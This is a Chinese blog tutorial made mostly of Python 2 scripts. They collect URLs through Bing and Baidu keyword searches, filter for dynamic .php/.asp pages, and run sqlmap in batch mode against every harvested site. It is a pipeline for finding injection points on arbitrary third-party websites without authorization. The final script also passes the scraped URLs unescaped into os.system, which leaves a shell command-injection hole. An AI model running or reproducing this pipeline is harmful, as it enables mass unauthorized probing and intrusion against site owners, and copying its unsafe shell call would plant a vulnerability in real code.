Python脚本-通过搜索引擎批量寻找利用注入点

本文主要是介绍Python脚本-通过搜索引擎批量寻找利用注入点，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

合伙创业、商业需求  Q：1274510382  

思路 :

利用现有的搜索引擎API以及GoogleHacking技术 ,
批量进行关键字查询和注入点检测

#分为三步 :

URL采集
对采集到的不可能的URL进行过滤 , 例如静态的页面等
注入点检测

https://www.exploit-db.com/google-hacking-database

URL采集 :
利用Bing提供的免费API , 进行URL采集 : (Bing.py)

  #!/usr/bin/env python
#coding:utf8

import requests
import json
import sys

# config-start
BingKey = "" # config your bing Ocp-Apim-Subscription-Key
Keyword = "简书"
maxPageNumber = 10
pageSize = 10
# config-end

url = "https://api.cognitive.microsoft.com/bing/v5.0/search?q=" + Keyword

headers = {
    'Host':'api.cognitive.microsoft.com',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding':'gzip, deflate, br',
    'Ocp-Apim-Subscription-Key':BingKey,
    'Upgrade-Insecure-Requests':'1',
    'Referer':'https://api.cognitive.microsoft.com/bing/v5.0/search?q=opensns',
    'Connection':'keep-alive',
}


for i in range(maxPageNumber):
    tempUrl = url + "&offset=" + str(i * pageSize) + "&count=" + str(pageSize)
    response = requests.get(tempUrl, headers=headers)
    content = response.text
    jsonObject = json.loads(content)
    results = jsonObject['webPages']['value']
    for result in results:
        resulturl = result['displayUrl']
        if resulturl.startswith("https://"):
            print resulturl
        else:
            print "http://" + resulturl

利用开源HTML解析库对百度搜索结果页面进行解析 , 采集URL : (Baidu.py)

 #!/usr/bin/env python
#coding:utf8

import requests
from bs4 import BeautifulSoup
import sys

# config-start
keyword = "简书"
# config-end

url = "http://www.baidu.com/s?wd=" + keyword
response = requests.get(url)
content = response.content
status_code = response.status_code
soup = BeautifulSoup(content, "html.parser")
links = soup.findAll("a")
for link in links:
    try:
        dstURL = link['href']
        if (dstURL.startswith("http://") or dstURL.startswith("https://")) and dstURL.startswith("http://www.baidu.com/link?url=") :
            result_url = requests.get(dstURL).url
            print result_url
    except Exception as e:
        continue

对静态页面等URL进行过滤

 #!/usr/bin/env python
#coding:utf8

file = open("urls.txt","r")
for line in file:
    content = line[0:-1]
    if content.endswith("html"):
        continue
    if content.endswith("htm"):
        continue
    if ".php" in content or ".asp" in content:
        print content

检测注入点 :

 #!/usr/bin/env python
#coding:utf8

import os
import sys

file = open(sys.argv[1],"r")

for line in file:
    url = line[0:-1]
    print "*******************"
    command = "sqlmap.py -u " + url + " --random-agent -f --batch --answer=\"extending=N,follow=N,keep=N,exploit=n\""
    print "Exec : " + command
    os.system(command)

这篇关于Python脚本-通过搜索引擎批量寻找利用注入点的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！